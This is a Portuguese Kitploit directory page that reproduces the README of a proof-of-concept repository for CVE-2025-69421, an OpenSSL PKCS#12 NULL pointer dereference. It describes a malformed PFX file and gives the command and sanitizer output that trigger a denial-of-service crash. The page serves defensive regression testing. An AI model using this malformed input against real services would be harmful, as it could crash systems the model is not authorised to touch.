Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
PoC-CVE-2025-69421 — Minimal reprodutor do CVE-2025-69421 demonstrando uma desreferência de ponteiro nulo no processamento PKCS#12 do OpenSSL por meio de um arquivo PFX malformado com campo encryptedContent ausente. Inclui script de geração, inspeção ASN.1 e saída de falha acionada por UBSan para testes de regressão defensivos. | Kitploit
Ferramentas/GitHubGitHub/kha-beleh/poc-cve-2025-69421
Análise de VulnerabilidadesExploraçãoFuzzingCriptografiaAnálise de BináriosAprendizado e Educação
GitHubkha-beleh/poc-cve-2025-69421

PoC-CVE-2025-69421

Ver Repositório
30há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Minimal reprodutor do CVE-2025-69421 demonstrando uma desreferência de ponteiro nulo no processamento PKCS#12 do OpenSSL por meio de um arquivo PFX malformado com campo encryptedContent ausente. Inclui script de geração, inspeção ASN.1 e saída de falha acionada por UBSan para testes de regressão defensivos.

Compartilhar

Reprodutor somente de crash do CVE-2025-69421

Este repositório contém um arquivo PKCS#12 malformado mínimo que reproduz o CVE-2025-69421 em um ambiente de laboratório isolado.

O PFX gerado contém EncryptedData cujo EncryptedContentInfo omite o campo opcional encryptedContent. Versões vulneráveis do OpenSSL podem passar um ponteiro NULL ASN1_OCTET_STRING de PKCS12_unpack_p7encdata() para PKCS12_item_decrypt_d2i_ex(), que o desreferencia sem uma verificação de NULL.

Este reprodutor demonstra apenas uma condição de negação de serviço. Ele não executa código nem divulga informações.

Conteúdo do repositório

.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
    └── ubsan-output.txt

Requisitos

  • Python 3
  • Uma compilação vulnerável do OpenSSL com UBSan ou ASan/UBSan
  • O OpenSSL 3.0.7 foi usado para a reprodução confirmada

Defina o diretório de compilação antes de executar o PoC:

export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"

OPENSSL_BUILD deve conter a libcrypto.so.3 vulnerável e o binário apps/openssl correspondente.

Gerar o arquivo PKCS#12 malformado

Um arquivo pré-gerado está incluído. Para recriá-lo:

python3 generate.py

A saída é:

malformed-cve-2025-69421.p12

Inspecionar a estrutura ASN.1

openssl asn1parse \
  -inform DER \
  -in malformed-cve-2025-69421.p12 \
  -i

A estrutura relevante é:

PFX
├── version = 3
└── authSafe: ContentInfo(data)
    └── OCTET STRING
        └── AuthenticatedSafe
            └── ContentInfo(encryptedData)
                └── EncryptedData
                    ├── version = 0
                    └── EncryptedContentInfo
                        ├── contentType = data
                        ├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
                        └── encryptedContent = absent

Executar o reprodutor

Usando o script auxiliar:

export OPENSSL_BUILD=/path/to/openssl-build
./run.sh

Comando manual equivalente:

export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"

ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
  -in malformed-cve-2025-69421.p12 \
  -info \
  -noout \
  -passin pass:test

Resultado esperado em uma compilação vulnerável

Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
    #0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
    #1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
    #2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
    #3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)

Os indicadores importantes são:

member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata

Resultado esperado em uma compilação corrigida

Uma compilação corrigida do OpenSSL deve rejeitar a entrada malformada sem nenhum relatório do sanitizer nem travamento do processo. O erro pode incluir:

PKCS12_item_decrypt_d2i_ex:passed a null parameter

Resumo técnico

CVE: CVE-2025-69421
Componente: processamento PKCS#12 do OpenSSL
Gatilho: EncryptedData com encryptedContent ausente
Falha: desreferência de ponteiro NULL
Função: PKCS12_item_decrypt_d2i_ex()
Atingível por meio de: PKCS12_unpack_p7encdata()
Impacto: Negação de Serviço

Aviso legal

Use este reprodutor apenas em sistemas que você possui ou para os quais está explicitamente autorizado a testar. O artefato incluído destina-se à validação defensiva e a testes de regressão.

Baixar ferramenta